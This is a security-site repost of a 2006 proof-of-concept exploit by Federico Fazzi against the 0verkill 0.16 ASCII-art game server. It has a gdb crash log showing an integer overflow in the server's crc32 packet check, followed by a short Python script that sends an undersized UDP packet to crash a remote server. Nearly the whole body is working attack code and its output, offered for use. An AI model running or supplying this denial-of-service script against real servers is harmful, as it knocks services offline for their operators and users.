首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
0verkill 0.16 (ASCII-ART Game) Remote Integer Overflow Crash Exploit
来源:federico@autistici.org 作者:Federico 发布时间:2006-06-12  

#!/usr/bin/env python
#
# -----------------------------------------------------
# Exploit id: FSE:016
#
# Author: Federico Fazzi
# Contact: federico@autistici.org
# Date: 09/06/2006, 13:58
# Sinthesis: 0verkill 0.16, Remote integer overflow
# Product: http://artax.karlin.mff.cuni.cz/~brain/0verkill/
# -----------------------------------------------------
#
# Start with:
# python f_0k-0.1.py <remote_addr> <remote_port>
#

# Proof of concept:
# (gdb) run
# Starting program: /home/federico/0verkill-0.16/server
# 9. 6.2006 14:18:07 Running 0verkill server version 0.16
# 9. 6.2006 14:18:07 Initialization.
# 9. 6.2006 14:18:07 Loading sprites.
# 9. 6.2006 14:18:07 Loading level "level1"....
# 9. 6.2006 14:18:07 Loading level graphics.
# 9. 6.2006 14:18:08 Loading level map.
# 9. 6.2006 14:18:08 Loading level objects.
# 9. 6.2006 14:18:08 Initializing socket.
# 9. 6.2006 14:18:08 Installing signal handlers.
# 9. 6.2006 14:18:08 Game started.
# 9. 6.2006 14:18:08 Sleep
# 9. 6.2006 14:18:10 Wakeup
#
# (run python f_0k-0.6.py)
#
# Program received signal SIGSEGV, Segmentation fault.
# crc32 (buf=0x837a000 <Address 0x837a000 out of bounds>, len=4294967288) at crc32.c:82
# warning: Source file is more recent than executable.
# 82 DO8(buf);
#
# #0 0x0805b54a in recv_packet (packet=0x805fd20 "",
# max_len=256, addr=0xf18df475, addr_len=0xf18df475, sender_server=0, recipient=0,
# sender=0xbfcf6d54) at net.c:94
# 94 if (crc!=crc32(packet,retval-12))return -1;
#
# limits byte receive is 12, if you send an inferior number of it
# the game crash.

import os, sys
from socket import *

usage = "run: python %s [remote_addr] [remote_port] " % os.path.basename(sys.argv[0])

if len(sys.argv) < 3:
print usage
sys.exit()

host = sys.argv[1]
port = int(sys.argv[2])

sock = socket(AF_INET, SOCK_DGRAM)
sock.connect((host, port))

print "connecting.. ",
if sock > 0:
print "done!"
else:
print "wrong!"

print "crashing the server.. ",
if sock.sendto('0x00' , (host, port)):
print "done!"
else:
print "wrong!"

print "wait five seconds, if no data found press CTRL+C"
try:
reply = sock.recvfrom(512)
print reply
except:
print "no data receive!"
sys.exit()



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Lanifex DMO <= 2.3b (_incMg
·RCblog <= 1.03 (post) Remot
·phpAtm <= 1.21 (include_loc
·blur6ex <= 0.3.462 (ID) Adm
·ZipCentral 4.01 ZIP File Handl
·CesarFTP 0.99g (MKD) Remote Bu
·Streamripper <= 1.61.25 HTT
·MyBulletinBoard (MyBB) < 1.
·IBM eGatherer <= 3.20.0284.
·MS Windows (NtClose DeadLock)
·Streamripper <= 1.61.25 HTT
·MS Windows XP/2K (Mrxsmb.sys)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved